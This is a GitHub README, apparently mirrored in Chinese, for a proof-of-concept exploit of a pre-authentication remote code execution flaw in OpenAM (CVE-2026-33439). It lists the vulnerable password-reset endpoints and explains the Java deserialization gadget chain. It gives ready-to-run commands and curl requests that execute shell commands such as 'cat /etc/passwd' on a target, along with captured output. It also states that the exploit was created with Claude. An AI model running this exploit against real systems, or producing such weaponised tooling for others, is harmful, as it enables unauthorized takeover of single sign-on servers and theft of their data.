Ibonok/CVE-2026-33439-PoC

GitHub: Ibonok/CVE-2026-33439-PoC

针对 OpenAM 认证前 RCE 漏洞(CVE-2026-33439)的 PoC 工具,利用 Java 反序列化链在 HTTP 响应中直接回显命令执行结果,兼容 Java 21+ 环境。

Stars: 0 | Forks: 0

# CVE-2026-33439 — OpenAM 认证前 RCE (回显模式) 命令输出直接在 HTTP 响应中返回 — 无需 DNS 外带或 OOB。 使用 `com.iplanet.jato.RequestManager.getRequestContext()` 在反序列化期间访问活动的 JATO ThreadLocal 请求/响应。适用于 Java 21+ 环境,在此环境下经典的 Tomcat 回显技术(Thread.target / ThreadGroup.threads 遍历)会失效。 ## 前置条件 - JDK 11+(运行时需要 `javac` 进行 translet 编译) - 目标 OpenAM 的 classpath 中包含 `click-nodeps-2.3.0.jar` 和 `xalan-2.7.x.jar` ## 已确认存在漏洞的端点 | 端点 | 回显输出 | |----------|-------------| | `/sso/ui/PWResetUserValidation` | HTTP 200,响应体中包含命令输出 | | `/sso/ui/PWResetQuestion` | HTTP 200,响应体中包含命令输出 | | `/sso/ui/PWResetSuccess` | HTTP 200,响应体中包含命令输出 | 已测试但无回显输出(反序列化仍会触发): - `/sso/ui/PWResetInvalidURL` — 返回错误页面 - `/sso/ui/PWResetUncaughtException` — 返回错误页面 ## 构建 ``` ./build.sh ``` ## 使用方法 JAR 会自动添加 `--add-opens` JVM 标志 — 无需手动指定。 ``` # 一体化:生成 payload + 发送 + 显示输出(通过 Burp 代理) java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd' java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a' java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd' # 不使用 Burp 代理 java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy # 生成可重用 payload(命令来自请求时的 'cmd' 头) P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null) curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P" curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P" curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P" ``` ## 已确认的执行结果 (2026-04-21) ``` $ java -jar CVE-2026-33439-Echo.jar send https:///sso 'id' uid=8866(docker) gid=8865(docker) groups=8865(docker) $ java -jar CVE-2026-33439-Echo.jar send https:///sso 'cat /etc/passwd' root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin ... docker:x:8866:8865::/home/docker:/bin/bash ``` ## 工作原理 1. 生成一个 `PriorityQueue` 反序列化 payload(Click1 + Xalan TemplatesImpl gadget 链) 2. translet 字节码调用 `RequestManager.getRequestContext()` 以获取活动的 JATO 请求/响应 3. 读取 `cmd` HTTP 头,执行 `sh -c `,并将 stdout+stderr 写入 `response.getOutputStream()` 4. Payload 编码为 OpenAM 格式的 Base64(`\x00` 前缀 + URL 安全的 Base64,无填充) 5. 发送至 `/sso/ui/PWResetUserValidation?jato.clientSession=`(无需认证) ## 目录结构 ``` CVE-2026-33439-PoC-echo/ CVE-2026-33439-Echo.jar # Exploit JAR build.sh # Build script MANIFEST.MF # JAR manifest README.md # This file lib/ # Dependencies (must stay next to JAR) click-nodeps-2.3.0.jar xalan-2.7.1.jar serializer-2.7.3.jar javax.servlet-api-4.0.1.jar src/ CVE_2026_33439_Echo.java # Source code ``` ## 修复 在 OpenAM 提交 `014007c63cacc834cc795a89fac0e611aebc4a32` 中已修补 — 在 `SessionEncodeURL.readSessionID()` 中为 `ObjectInputStream` 添加了类过滤器。 ## 其他信息: 该 PoC 使用 Claude 创建;提示词为分析文章 () 和 Git 提交记录 ()
标签:CISA项目, CVE-2026-33439, Echo回显, GHAS, JATO框架, Java反序列化, Java安全, JS文件枚举, Maven, OpenAM, SSO单点登录, URL发现, Web安全, Xalan, 命令执行, 域名枚举, 安全检测, 漏洞PoC, 漏洞验证, 编程工具, 网络安全, 蓝队分析, 远程代码执行, 隐私保护, 预认证RCE